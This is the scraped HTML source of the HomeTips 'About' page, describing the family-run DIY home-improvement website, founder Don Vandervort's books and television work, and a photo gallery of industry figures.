809        width: 100% !important;
810        display: block;
811    }
812    #top_search {
813        padding-top: 0px;
814    }
815}</style></div><div id="top_search"><form id="top_search_form" role="search" method="get" class="custom_search_form ssw_closed" action="/"> <input type="search" class="custom_search_field" placeholder="Search …" value="" name="s" title="Search for:"></form><div id="top_search_icon" class="et_search_icon"> <svg class="svg-icon search-icon" aria-labelledby="title desc" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 19.9 19.7"><title id="title">Search Icon</title> <desc id="desc">A magnifying glass icon.</desc> <g class="search-path" fill="none" stroke="#848F91"> <path stroke-linecap="square" d="M18.5 18.3l-5.4-5.4"/> <circle cx="8" cy="8" r="6"/> </g> </svg></div></div><div id="top_navigation_hamburger_icon"> <a href="javascript:void(0);" class="icon" >
815 <svg class="svg-icon hamburger-icon" viewBox="0 0 100 80"> <g class="search-path" fill="none" stroke="#848F91"> <rect width="90" height="18"></rect> <rect y="25" width="90" height="18"></rect> <rect y="50" width="90" height="18"></rect> </g> </svg> </a></div><style>#top_search {
816        margin-top: 25px;
817    }</style></div></header></div> 
817<script type="text/javascript" >jQuery(document).ready(function($){
818        //alert("hi");
819    });</script>
819 <main id="content" class="site-main post-12410 page type-page status-publish has-post-thumbnail hentry"><div class="page-content"> <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd"><html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"></head><body><div id="ssw_scroll_btn_container" onclick="document.body.scrollIntoView();" style="right: 20px; top: 25px; display: none; position: fixed; cursor: pointer; z-index: 99999; opacity: 0.8; display:none"><noscript><img src="https://www.hometips.com/wp-content/plugins/ssw-replace-in-content/assets/img/scroll-top/1.png" alt="back to top button" title=""></noscript><img src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' class="lazyload" data-src="https://www.hometips.com/wp-content/plugins/ssw-replace-in-content/assets/img/scroll-top/1.png" alt="back to top button" title=""></div><style>#ssw_scroll_btn_container img{width: 65px;height:65px;border-radius: 50%;}</style><div data-elementor-type="wp-page" data-elementor-id="12410" class="elementor elementor-12410" data-elementor-post-type="page"><section class="elementor-section elementor-top-section elementor-element elementor-element-8f88bd2 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="8f88bd2" data-element_type="section" data-e-type="section"><div class="elementor-container elementor-column-gap-default"><div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-37ff0972" data-id="37ff0972" data-element_type="column" data-e-type="column"><div class="elementor-widget-wrap elementor-element-populated"><div class="elementor-element elementor-element-a17b970 elementor-widget elementor-widget-heading" data-id="a17b970" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default"><div class="elementor-widget-container"><h1 class="elementor-heading-title elementor-size-default">About HomeTips</h1></div></div><div class="elementor-element elementor-element-4a735a47 no_pinit elementor-widget elementor-widget-image" data-id="4a735a47" data-element_type="widget" data-e-type="widget" data-widget_type="image.default"><div class="elementor-widget-container"><figure class="wp-caption"> <img fetchpriority="high" decoding="async" width="800" height="285" src="https://www.hometips.com/wp-content/uploads/2021/03/HomeTips_Team_Habitat_for_Humanity2.jpg" class="attachment-large size-large wp-image-219980" alt="" srcset="https://www.hometips.com/wp-content/uploads/2021/03/HomeTips_Team_Habitat_for_Humanity2.jpg 1024w, https://www.hometips.com/wp-content/uploads/2021/03/HomeTips_Team_Habitat_for_Humanity2-300x107.jpg 300w, https://www.hometips.com/wp-content/uploads/2021/03/HomeTips_Team_Habitat_for_Humanity2-768x274.jpg 768w, https://www.hometips.com/wp-content/uploads/2021/03/HomeTips_Team_Habitat_for_Humanity2-600x214.jpg 600w, https://www.hometips.com/wp-content/uploads/2021/03/HomeTips_Team_Habitat_for_Humanity2-800x285.jpg 800w" sizes="(max-width: 800px) 100vw, 800px"><figcaption class="widget-image-caption wp-caption-text">Don and his sons Christian and Gabe, building houses with Habitat for Humanity in the Mississippi Delta</figcaption></figure></div></div></div></div></div></section><section class="elementor-section elementor-top-section elementor-element elementor-element-2fd2f301 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="2fd2f301" data-element_type="section" data-e-type="section"><div class="elementor-container elementor-column-gap-default"><div class="elementor-column elementor-col-66 elementor-top-column elementor-element elementor-element-600d64d" data-id="600d64d" data-element_type="column" data-e-type="column"><div class="elementor-widget-wrap elementor-element-populated"><div class="elementor-element elementor-element-2e7b8a76 elementor-widget elementor-widget-text-editor" data-id="2e7b8a76" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"><div class="elementor-widget-container"><h2>Our Family Company</h2><p style="margin: 5px; padding: 0px 0px 1em; border: 0px; outline: 0px; text-size-adjust: 100%; vertical-align: baseline; background-image: initial; background-position: 0px 0px; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; color: #666666; line-height: 28px !important;"><b>At HomeTips, we love to help you love your house!</b> </p><p style="margin: 5px; padding: 0px 0px 1em; border: 0px; outline: 0px; text-size-adjust: 100%; vertical-align: baseline; background-image: initial; background-position: 0px 0px; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; color: #666666; line-height: 28px !important;">HomeTips has been serving inspiration and expert, trusted DIY advice to homeowners through the Web, books, magazines, and television for more than 25 years. </p><p>In 1996, <a href="/don-vandervort">Don Vandervort</a>—then an author of many DIY home improvement books—started HomeTips in a tree house office. Now <span style="margin: 0px; padding: 0px; border: 0px; outline: 0px; text-size-adjust: 100%; vertical-align: baseline; background: 0px 0px;">HomeTips, a family company with offices in Glendale, California, is operated by <strong>Don and Christian Vandervort</strong></span><span style="margin: 0px; padding: 0px; border: 0px; outline: 0px; text-size-adjust: 100%; vertical-align: baseline; background: 0px 0px;">. </span></p><p><span style="margin: 0px; padding: 0px; border: 0px; outline: 0px; text-size-adjust: 100%; vertical-align: baseline; background: 0px 0px;">“We are completely hands-on—working hard everyday to produce for you the most helpful home improvement content on the Web,” says Don.</span></p><p style="margin: 5px; padding: 0px 0px 1em; border: 0px; outline: 0px; text-size-adjust: 100%; vertical-align: baseline; background-image: initial; background-position: 0px 0px; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; color: #666666; line-height: 28px !important;">HomeTips.com offers more than 1000 expert articles for do-it-yourself home repairs and improvements, buying guides, and much more. We pride ourselves in expert, trustworthy advice that is forged from decades of home improvement experience. As a result, HomeTips.com is one of the Web’s top home-improvement sites.  :) </p><p style="margin: 5px; background: 0px 0px; padding: 0px; border: 0px; outline: 0px; text-size-adjust: 100%; vertical-align: baseline; line-height: 28px !important;">Tech guru <span style="margin: 0px; padding: 0px; border: 0px; outline: 0px; text-size-adjust: 100%; vertical-align: baseline; background: 0px 0px; font-weight: bold;">Guy Kawasaki</span> wrote this wonderful<a style="background-image: initial; background-position: 0px 0px; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; margin: 0px; padding: 0px; border: 0px; outline: 0px; text-size-adjust: 100%; vertical-align: baseline;" href="http://guykawasaki.com/hometips-theres/" target="_blank" rel="noopener noreferrer"> blog post about HomeTips</a> back in 2007, just after HomeTips won Google’s international <a style="background-image: initial; background-position: 0px 0px; background-size: initial; background-repeat: initial; background-attachment: initial; background-origin: initial; background-clip: initial; margin: 0px; padding: 0px; border: 0px; outline: 0px; text-size-adjust: 100%; vertical-align: baseline;" href="http://adsense.blogspot.com/2007/12/and-winner-is.html" target="_blank" rel="noopener noreferrer">AdSense Story Contest</a>. (Guy loved the tree house.</p><style>.yarp_post_img { width: 60px;height:60px;  float: left;  margin-right: 10px;  overflow: hidden;} .yarp_post {float:left; padding: 0px 5px 10px 0px;}.yarp_post_title { line-height: 18px;font-size: 15px !important; font-family: open sans,Arial,sans-serif !important; padding-top: 10px;}li .yarp_post { border-bottom: 1px solid #eee;  padding-top: 10px; }</style></div></div></div></div><div class="elementor-column elementor-col-33 elementor-top-column elementor-element elementor-element-3509c0ec" data-id="3509c0ec" data-element_type="column" data-e-type="column"><div class="elementor-widget-wrap elementor-element-populated"><div class="elementor-element elementor-element-1d1b4a83 no_pinit elementor-widget elementor-widget-image" data-id="1d1b4a83" data-element_type="widget" data-e-type="widget" data-widget_type="image.default"><div class="elementor-widget-container"><figure class="wp-caption"> <noscript><img decoding="async" width="214" height="288" src="https://www.hometips.com/w
819p-content/uploads/2021/03/treehouse1.jpg" class="attachment-large size-large wp-image-219981" alt=""></noscript><img src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20214%20288%22%3E%3C/svg%3E' decoding="async" width="214" height="288" data-src="https://www.hometips.com/wp-content/uploads/2021/03/treehouse1.jpg" class="lazyload attachment-large size-large wp-image-219981" alt=""><figcaption class="widget-image-caption wp-caption-text">In 1996, the original offices of HomeTips were in a treehouse.</figcaption></figure></div></div></div></div></div></section><section class="elementor-section elementor-top-section elementor-element elementor-element-4e83f7f0 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="4e83f7f0" data-element_type="section" data-e-type="section"><div class="elementor-container elementor-column-gap-default"><div class="elementor-column elementor-col-66 elementor-top-column elementor-element elementor-element-5d8544c8" data-id="5d8544c8" data-element_type="column" data-e-type="column"><div class="elementor-widget-wrap elementor-element-populated"><div class="elementor-element elementor-element-68374158 elementor-widget elementor-widget-text-editor" data-id="68374158" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"><div class="elementor-widget-container"><h2>Books &amp; Magazines</h2><div><div><p>Don Vandervort wrote his first home improvement book in the early 1970s. Since then, Don and HomeTips have authored, edited, or produced more than 30 books, including<em> </em><em>The Home Problem Solver</em> (Perseus Books), <em>Home Magazine’s How Your House Works</em> (Ballantine/Random House) and <em>This Old House Complete Remodeling</em> (Sunset).</p><p>Don and the HomeTips team are available to write and fully produce books for custom clients. <a href="https://www.hometips.com/contact-us">Contact us!</a></p></div></div><style>.yarp_post_img { width: 60px;height:60px;  float: left;  margin-right: 10px;  overflow: hidden;} .yarp_post {float:left; padding: 0px 5px 10px 0px;}.yarp_post_title { line-height: 18px;font-size: 15px !important; font-family: open sans,Arial,sans-serif !important; padding-top: 10px;}li .yarp_post { border-bottom: 1px solid #eee;  padding-top: 10px; }</style></div></div></div></div><div class="elementor-column elementor-col-33 elementor-top-column elementor-element elementor-element-715a6159" data-id="715a6159" data-element_type="column" data-e-type="column"><div class="elementor-widget-wrap elementor-element-populated"><div class="elementor-element elementor-element-37534edc no_pinit elementor-widget elementor-widget-image" data-id="37534edc" data-element_type="widget" data-e-type="widget" data-widget_type="image.default"><div class="elementor-widget-container"><figure class="wp-caption"> <noscript><img loading="lazy" decoding="async" width="576" height="469" src="https://www.hometips.com/wp-content/uploads/2021/03/my-books-sm.jpg" class="attachment-large size-large wp-image-219982" alt="" srcset="https://www.hometips.com/wp-content/uploads/2021/03/my-books-sm.jpg 576w, https://www.hometips.com/wp-content/uploads/2021/03/my-books-sm-300x244.jpg 300w" sizes="(max-width: 576px) 100vw, 576px"></noscript><img src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20576%20469%22%3E%3C/svg%3E' loading="lazy" decoding="async" width="576" height="469" data-src="https://www.hometips.com/wp-content/uploads/2021/03/my-books-sm.jpg" class="lazyload attachment-large size-large wp-image-219982" alt="" data-srcset="https://www.hometips.com/wp-content/uploads/2021/03/my-books-sm.jpg 576w, https://www.hometips.com/wp-content/uploads/2021/03/my-books-sm-300x244.jpg 300w" data-sizes="(max-width: 576px) 100vw, 576px"><figcaption class="widget-image-caption wp-caption-text">Some of the many books written by Don Vandervort</figcaption></figure></div></div></div></div></div></section><section class="elementor-section elementor-top-section elementor-element elementor-element-85ed9e6 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="85ed9e6" data-element_type="section" data-e-type="section"><div class="elementor-container elementor-column-gap-default"><div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-7b30d90" data-id="7b30d90" data-element_type="column" data-e-type="column"><div class="elementor-widget-wrap elementor-element-populated"><div class="elementor-element elementor-element-0e747fa no_pinit elementor-widget elementor-widget-image" data-id="0e747fa" data-element_type="widget" data-e-type="widget" data-widget_type="image.default"><div class="elementor-widget-container"><figure class="wp-caption"> <noscript>
819<img decoding="async" src="https://www.hometips.com/wp-content/uploads/elementor/thumbs/Don_Vandervort_sunset_books_woodworking-web1-r3dojemrze3cvcnrfvz77z4tuscxn1fvapi2rv98u8.jpg" title="Don_Vandervort_sunset_books_woodworking-web1" alt="Don Vandervort appearing in an ad for Sunset Books woodworking" loading="lazy"></noscript><img src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' class="lazyload" decoding="async" data-src="https://www.hometips.com/wp-content/uploads/elementor/thumbs/Don_Vandervort_sunset_books_woodworking-web1-r3dojemrze3cvcnrfvz77z4tuscxn1fvapi2rv98u8.jpg" title="Don_Vandervort_sunset_books_woodworking-web1" alt="Don Vandervort appearing in an ad for Sunset Books woodworking" loading="lazy"><figcaption class="widget-image-caption wp-caption-text">Don Vandervort has been appearing as a DIY expert for over 40 years, as shown by this full-page ad in Better Homes &amp; Gardens.</figcaption></figure></div></div></div></div></div></section><section class="elementor-section elementor-top-section elementor-element elementor-element-30338137 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="30338137" data-element_type="section" data-e-type="section"><div class="elementor-container elementor-column-gap-default"><div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-12c3c1b1" data-id="12c3c1b1" data-element_type="column" data-e-type="column"><div class="elementor-widget-wrap elementor-element-populated"><div class="elementor-element elementor-element-1e91d51e elementor-widget elementor-widget-text-editor" data-id="1e91d51e" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"><div class="elementor-widget-container"><h2>Television</h2><p>Nationally recognized as a home improvement authority, Don was segment host on the Telly-award-winning <strong>HGTV</strong> show “The Fix” for three seasons.</p><p>Don has been featured as a home-improvement expert on <a href="https://youtu.be/1EGePSsHpeE" target="_blank" rel="noopener noreferrer">Dan Rather’s 48 Hours</a> (CBS News), many segments of ABC Television’s HOME show, and the HGTV shows “Help at Home” and “Working from Home.”</p><div><div><p>If you’re interested in becoming a sponsor or development partner for television or video programming, please <a href="https://www.hometips.com/contact-us">contact us!</a></p></div></div><style>.yarp_post_img { width: 60px;height:60px;  float: left;  margin-right: 10px;  overflow: hidden;} .yarp_post {float:left; padding: 0px 5px 10px 0px;}.yarp_post_title { line-height: 18px;font-size: 15px !important; font-family: open sans,Arial,sans-serif !important; padding-top: 10px;}li .yarp_post { border-bottom: 1px solid #eee;  padding-top: 10px; }</style></div></div></div></div></div></section><section class="elementor-section elementor-top-section elementor-element elementor-element-170c6bbc elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="170c6bbc" data-element_type="section" data-e-type="section"><div class="elementor-container elementor-column-gap-default"><div class="elementor-column elementor-col-50 elementor-top-column elementor-element elementor-element-5fb2d030" data-id="5fb2d030" data-element_type="column" data-e-type="column"><div class="elementor-widget-wrap elementor-element-populated"><div class="elementor-element elementor-element-4d4e4c58 elementor-widget elementor-widget-video" data-id="4d4e4c58" data-element_type="widget" data-e-type="widget" data-settings='{"youtube_url":"https:\/\/www.youtube.com\/watch?v=Jji4Z7bgFlk","video_type":"youtube"}' data-widget_type="video.default"><div class="elementor-widget-container"><div class="elementor-wrapper elementor-open-inline"><div class="elementor-video"></div></div></div></div></div></div><div class="elementor-column elementor-col-50 elementor-top-column elementor-element elementor-element-73a42a4a" data-id="73a42a4a" data-element_type="column" data-e-type="column"><div class="elementor-widget-wrap elementor-element-populated"><div class="elementor-element elementor-element-73b05eb5 elementor-widget elementor-widget-video" data-id="73b05eb5" data-element_type="widget" data-e-type="widget" data-settings='{"youtube_url":"https:\/\/www.youtube.com\/watch?v=1EGePSsHpeE","video_type":"youtube"}' data-widget_type="video.default"><div class="elementor-widget-container"><div class="elementor-wrapper elementor-open-inline"><div class="elementor-video"></div></div></div></div></div></div></div></section><section class="elementor-section elementor-top-section elementor-element elementor-element-25dce38 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="25dce38" data-element_type="section" data-e-type="section"><div class="elementor-container elementor-column-gap-default"><div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-43dd115" data-id="43dd115" data-element_type="column" data-e-type="column"><div class="elementor-widget-wrap elementor-element-populated"><div class="elementor-element elementor-element-ae40339 elementor-widget elementor-widget-text-editor" data-id="ae40339" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"><div class="elementor-widget-container"><h2>Spokesperson &amp; Custom Content</h2><p>Don Vandervort is a writer and an <strong>Industry Expert</strong> for <a href="https://www.yelp.com/costs/toilet_repair" target="_blank" rel="noopener">Yelp</a> home improvement articles, and was the home improvement guru on MSN.com for several years. He has worked as a spokesperson for Proctor &amp; Gamble and American Standard.</p><p>He has been a regular contributor to <a href="http://www.usnews.com/topics/author/don-vandervort" target="_blank" rel="nofollow noopener noreferrer">US News &amp; World Report</a>, and his articles appear at <a href="https://www.yahoo.com/news/10-house-painting-rules-never-break-154625125.html" target="_blank" rel="nofollow noopener noreferrer">Yahoo News</a>, <a href="http://finance.yahoo.com/news/revive-ugly-deck-1445471
81958.html" target="_blank" rel="nofollow noopener noreferrer">Yahoo Finance</a>, and MSN.com.</p><div><span style="color: #444444;">HomeTips offers content creation services, including authorship of books, E-books, Web content, and more.</span> <a href="https://www.hometips.com/contact-us">Contact us!</a></div><style>.yarp_post_img { width: 60px;height:60px;  float: left;  margin-right: 10px;  overflow: hidden;} .yarp_post {float:left; padding: 0px 5px 10px 0px;}.yarp_post_title { line-height: 18px;font-size: 15px !important; font-family: open sans,Arial,sans-serif !important; padding-top: 10px;}li .yarp_post { border-bottom: 1px solid #eee;  padding-top: 10px; }</style></div></div></div></div></div></section><section class="elementor-section elementor-top-section elementor-element elementor-element-3251ee40 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="3251ee40" data-element_type="section" data-e-type="section"><div class="elementor-container elementor-column-gap-default"><div class="elementor-column elementor-col-66 elementor-top-column elementor-element elementor-element-5b6b237c" data-id="5b6b237c" data-element_type="column" data-e-type="column"><div class="elementor-widget-wrap elementor-element-populated"><div class="elementor-element elementor-element-f50cc10 elementor-widget elementor-widget-image" data-id="f50cc10" data-element_type="widget" data-e-type="widget" data-widget_type="image.default"><div class="elementor-widget-container"> <noscript><img decoding="async" src="https://www.hometips.com/wp-content/uploads/elementor/thumbs/Don_Vandervort_MSN-r3dojk9zgfu60smyx9pi2ycyi6ujoemqtrq4xoexik.jpg" title="Don_Vandervort_MSN" alt="A webpage showing Don Vandervort featured on MSN.com" loading="lazy"></noscript><img src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20210%20140%22%3E%3C/svg%3E' class="lazyload" decoding="async" data-src="https://www.hometips.com/wp-content/uploads/elementor/thumbs/Don_Vandervort_MSN-r3dojk9zgfu60smyx9pi2ycyi6ujoemqtrq4xoexik.jpg" title="Don_Vandervort_MSN" alt="A webpage showing Don Vandervort featured on MSN.com" loading="lazy"></div></div></div></div><div class="elementor-column elementor-col-33 elementor-top-column elementor-element elementor-element-29755c80" data-id="29755c80" data-element_type="column" data-e-type="column"><div class="elementor-widget-wrap elementor-element-populated"><div class="elementor-element elementor-element-6c55a01a no_pinit elementor-widget elementor-widget-image" data-id="6c55a01a" data-element_type="widget" data-e-type="widget" data-widget_type="image.default"><div class="elementor-widget-container"><figure class="wp-caption"> <noscript><img loading="lazy" decoding="async" width="384" height="288" src="https://www.hometips.com/wp-content/uploads/2021/03/don-hgtv-1.jpg" class="attachment-large size-large wp-image-219984" alt="" srcset="https://www.hometips.com/wp-content/uploads/2021/03/don-hgtv-1.jpg 384w, https://www.hometips.com/wp-content/uploads/2021/03/don-hgtv-1-300x225.jpg 300w" sizes="(max-width: 384px) 100vw, 384px"></noscript><img src='data:image/svg+xml,%3Csvg%20xmlns=%22http://www.w3.org/2000/svg%22%20viewBox=%220%200%20384%20288%22%3E%3C/svg%3E' loading="lazy" decoding="async" width="384" height="288" data-src="https://www.hometips.com/wp-content/uploads/2021/03/don-hgtv-1.jpg" class="lazyload attachment-large size-large wp-image-219984" alt="" data-srcset="https://www.hometips.com/wp-content/uploads/2021/03/don-hgtv-1.jpg 384w, https://www.hometips.com/wp-content/uploads/2021/03/don-hgtv-1-300x225.jpg 300w" data-sizes="(max-width: 384px) 100vw, 384px"><figcaption class="widget-image-caption wp-caption-text">Don hosting segment on set of HGTV's "The Fix"</figcaption></figure></div></div></div></div></div></section><section class="elementor-section elementor-top-section elementor-element elementor-element-614e808a elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="614e808a" data-element_type="section" data-e-type="section"><div class="elementor-container elementor-column-gap-default"><div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-1aeb1db9" data-id="1aeb1db9" data-element_type="column" data-e-type="column"><div class="elementor-widget-wrap elementor-element-populated"><div class="elementor-element elementor-element-61c6f6bf elementor-widget elementor-widget-text-editor" data-id="61c6f6bf" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default"><div class="elementor-widget-container"><h2>We have fun too!</h2><p>We’ve enjoyed hanging out with other experts in our industry, such as <strong>Vanilla Ice</strong>, <strong>Ty Pennington</strong>, <strong>Bob Vila</strong>, and <strong>Ask The Builder’s Tim Carter</strong>.</p><p>The HomeTips crew has had many great, meaningful times <a href="https://www.hometips.com/habitat-for-humanity.html" target="_blank" rel="noopener noreferrer">building Habitat for Humanity houses</a> in the Mississippi Delta.</p><p>V.P. Christian Vandervort is also a recreational pilot and accomplished photographer, with experience in travel photography and 360º Panoramic virtual tours. </p><style>.yarp_post_img { width: 60px;height:60px;  float: left;  margin-right: 10px;  overflow: hidden;} .yarp_post {float:left; padding: 0px 5px 10px 0px;}.yarp_post_title { line-height: 18px;font-size: 15px !important; font-family: open sans,Arial,sans-serif !important; padding-top: 10px;}li .yarp_post { border-bottom: 1px solid #eee;  padding-top: 10px; }</style></div></div></div></div></div></section><section class="elementor-section elementor-top-section elementor-element elementor-element-291ea0ef no_pinit elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="291ea0ef" data-element_type="section" data-e-type="section"><div class="elementor-container elementor-column-gap-default"><div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-48ede969" data-id="48ede969" data-element_type="column" data-e-type="column"><div class="elementor-widget-wrap elementor-element-populated"><div class="elementor-element elementor-element-c0f811e elementor-widget elementor-widget-gallery" data-id="c0f811e" data-element_type="widget" data-e-type="widget" data-settings='{"columns":3,"overlay_title":"caption","lazyload":"yes","gallery_layout":"grid","columns_tablet":2,"columns_mobile":1,"ga
819p":{"unit":"px","size":10,"sizes":[]},"gap_tablet":{"unit":"px","size":10,"sizes":[]},"gap_mobile":{"unit":"px","size":10,"sizes":[]},"link_to":"file","aspect_ratio":"3:2","overlay_background":"yes","content_hover_animation":"fade-in"}' data-widget_type="gallery.default"><div class="elementor-widget-container"><div class="elementor-gallery__container"> <a class="e-gallery-item elementor-gallery-item elementor-animated-content" href="https://www.hometips.com/wp-content/uploads/2021/03/Vanilla-Ice-Don-V.jpg" data-elementor-open-lightbox="yes" data-elementor-lightbox-slideshow="c0f811e" data-elementor-lightbox-title="Vanilla-Ice-Don-V.jpg" data-e-action-hash="#elementor-action%3Aaction%3Dlightbox%26settings%3DeyJpZCI6MjE5OTg1LCJ1cmwiOiJodHRwczpcL1wvd3d3LmhvbWV0aXBzLmNvbVwvd3AtY29udGVudFwvdXBsb2Fkc1wvMjAyMVwvMDNcL1ZhbmlsbGEtSWNlLURvbi1WLmpwZyIsInNsaWRlc2hvdyI6ImMwZjgxMWUifQ%3D%3D"><div class="e-gallery-image elementor-gallery-item__image" data-thumbnail="https://www.hometips.com/wp-content/uploads/2021/03/Vanilla-Ice-Don-V.jpg" data-width="1024" data-height="728" aria-label="" role="img"></div><div class="elementor-gallery-item__overlay"></div><div class="elementor-gallery-item__content"><div class="elementor-gallery-item__title"> Vanilla Ice and Don at Nat. Assoc. of Home Builders</div></div> </a> <a class="e-gallery-item elementor-gallery-item elementor-animated-content" href="https://www.hometips.com/wp-content/uploads/2021/03/Bob-Vila-Don-V.jpeg" data-elementor-open-lightbox="yes" data-elementor-lightbox-slideshow="c0f811e" data-elementor-lightbox-title="Bob-Vila-Don-V.jpeg" data-e-action-hash="#elementor-action%3Aaction%3Dlightbox%26settings%3DeyJpZCI6MjE5OTg2LCJ1cmwiOiJodHRwczpcL1wvd3d3LmhvbWV0aXBzLmNvbVwvd3AtY29udGVudFwvdXBsb2Fkc1wvMjAyMVwvMDNcL0JvYi1WaWxhLURvbi1WLmpwZWciLCJzbGlkZXNob3ciOiJjMGY4MTFlIn0%3D"><div class="e-gallery-image elementor-gallery-item__image" data-thumbnail="https://www.hometips.com/wp-content/uploads/2021/03/Bob-Vila-Don-V.jpeg" data-width="684" data-height="1024" aria-label="" role="img"></div><div class="elementor-gallery-item__overlay"></div><div class="elementor-gallery-item__content"><div class="elementor-gallery-item__title"> Bob Vila and Don Vandervort on set of Home Again</div></div> </a> <a class="e-gallery-item elementor-gallery-item elementor-animated-content" href="https://www.hometips.com/wp-content/uploads/2021/03/tim-carter-don-v-golf.jpg" data-elementor-open-lightbox="yes" data-elementor-lightbox-slideshow="c0f811e" data-elementor-lightbox-title="tim-carter-don-v-golf.jpg" data-e-action-hash="#elementor-action%3Aaction%3Dlightbox%26settings%3DeyJpZCI6MjE5OTg3LCJ1cmwiOiJodHRwczpcL1wvd3d3LmhvbWV0aXBzLmNvbVwvd3AtY29udGVudFwvdXBsb2Fkc1wvMjAyMVwvMDNcL3RpbS1jYXJ0ZXItZG9uLXYtZ29sZi5qcGciLCJzbGlkZXNob3ciOiJjMGY4MTFlIn0%3D"><div class="e-gallery-image elementor-gallery-item__image" data-thumbnail="https://www.hometips.com/wp-content/uploads/2021/03/tim-carter-don-v-golf.jpg" data-width="576" data-height="432" aria-label="" role="img"></div><div class="elementor-gallery-item__overlay"></div><div class="elementor-gallery-item__content"><div class="elementor-gallery-item__title"> Tim Carter and Don golfing</div></div> </a> <a class="e-gallery-item elementor-gallery-item elementor-animated-content" href="https://www.hometips.com/wp-content/uploads/2021/03/ty-pennington-and-don-v.jpg" data-elementor-open-lightbox="yes" data-elementor-lightbox-slideshow="c0f811e" data-elementor-lightbox-title="ty-pennington-and-don-v.jpg" data-e-action-hash="#elementor-action%3Aaction%3Dlightbox%26settings%3DeyJpZCI6MjE5OTg4LCJ1cmwiOiJodHRwczpcL1wvd3d3LmhvbWV0aXBzLmNvbVwvd3AtY29udGVudFwvdXBsb2Fkc1wvMjAyMVwvMDNcL3R5LXBlbm5pbmd0b24tYW5kLWRvbi12LmpwZyIsInNsaWRlc2hvdyI6ImMwZjgxMWUifQ%3D%3D"><div class="e-gallery-image elementor-gallery-item__image" data-thumbnail="https://www.hometips.com/wp-content/uploads/2021/03/ty-pennington-and-don-v.jpg" data-width="586" data-height="468" aria-label="" role="img"></div><div class="elementor-gallery-item__overlay"></div><div class="elementor-gallery-item__content"><div class="elementor-gallery-item__title"> Ty Pennington and Don at NAHB</div></div> </a> <a class="e-gallery-item elementor-gallery-item elementor-animated-content" href="https://www.hometips.com/w
819p-content/uploads/2021/03/Building-Habitat-Houses.jpg" data-elementor-open-lightbox="yes" data-elementor-lightbox-slideshow="c0f811e" data-elementor-lightbox-title="Building-Habitat-Houses.jpg" data-e-action-hash="#elementor-action%3Aaction%3Dlightbox%26settings%3DeyJpZCI6MjE5OTg5LCJ1cmwiOiJodHRwczpcL1wvd3d3LmhvbWV0aXBzLmNvbVwvd3AtY29udGVudFwvdXBsb2Fkc1wvMjAyMVwvMDNcL0J1aWxkaW5nLUhhYml0YXQtSG91c2VzLmpwZyIsInNsaWRlc2hvdyI6ImMwZjgxMWUifQ%3D%3D"><div class="e-gallery-image elementor-gallery-item__image" data-thumbnail="https://www.hometips.com/wp-content/uploads/2021/03/Building-Habitat-Houses.jpg" data-width="1024" data-height="636" aria-label="" role="img"></div><div class="elementor-gallery-item__overlay"></div><div class="elementor-gallery-item__content"><div class="elementor-gallery-item__title"> HomeTips Crew building Habitat for Humanity houses in Mississippi Delta</div></div> </a> <a class="e-gallery-item elementor-gallery-item elementor-animated-content" href="https://www.hometips.com/wp-content/uploads/2021/03/kit-with-seaplane.jpg" data-elementor-open-lightbox="yes" data-elementor-lightbox-slideshow="c0f811e" data-elementor-lightbox-title="kit-with-seaplane.jpg" data-e-action-hash="#elementor-action%3Aaction%3Dlightbox%26settings%3DeyJpZCI6MjE5OTkwLCJ1cmwiOiJodHRwczpcL1wvd3d3LmhvbWV0aXBzLmNvbVwvd3AtY29udGVudFwvdXBsb2Fkc1wvMjAyMVwvMDNcL2tpdC13aXRoLXNlYXBsYW5lLmpwZyIsInNsaWRlc2hvdyI6ImMwZjgxMWUifQ%3D%3D"><div class="e-gallery-image elementor-gallery-item__image" data-thumbnail="https://www.hometips.com/wp-content/uploads/2021/03/kit-with-seaplane.jpg" data-width="645" data-height="432" aria-label="" role="img"></div><div class="elementor-gallery-item__overlay"></div><div class="elementor-gallery-item__content"><div class="elementor-gallery-item__title"> Kit Vandervort flying seaplane at Lake Washington</div></div> </a></div></div></div></div></div></div></section></div> 
819<script defer src="https://www.hometips.com/wp-content/cache/autoptimize/autoptimize_f38b3c1323871d602fe098161a8387f1.php"></script>
